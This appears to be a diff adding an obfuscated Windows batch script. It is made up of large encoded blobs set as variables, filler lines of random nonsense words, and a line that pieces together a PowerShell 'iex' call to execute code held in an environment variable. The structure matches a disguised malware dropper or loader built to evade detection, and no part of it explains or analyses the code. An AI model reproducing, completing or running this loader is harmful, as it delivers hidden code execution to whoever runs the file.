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
+:%HeGvDIze%:  krayina oypyklw vzmourna prebkalta kofao sedadef pefrye orbitdo ojmoz stouplt
+%EPG4rr15%:%GhVFavVL%:  skica lomyl nhemde vqna lafzha hlhbydn mafrisa docleva mrhkenep tupea
+
+sEt Ravpss=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
+SET "OsJQhAK=$gEB%RW2qftyh%O%BbkCAv%J=808383826; iex $en%kAszCBrv%v:t%iHNMDE%j%xNo7ig6%vcn%XeGEPtPa%G%my8nnfla%K"
+SET rNQFeP=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
+Set nrp2Cd=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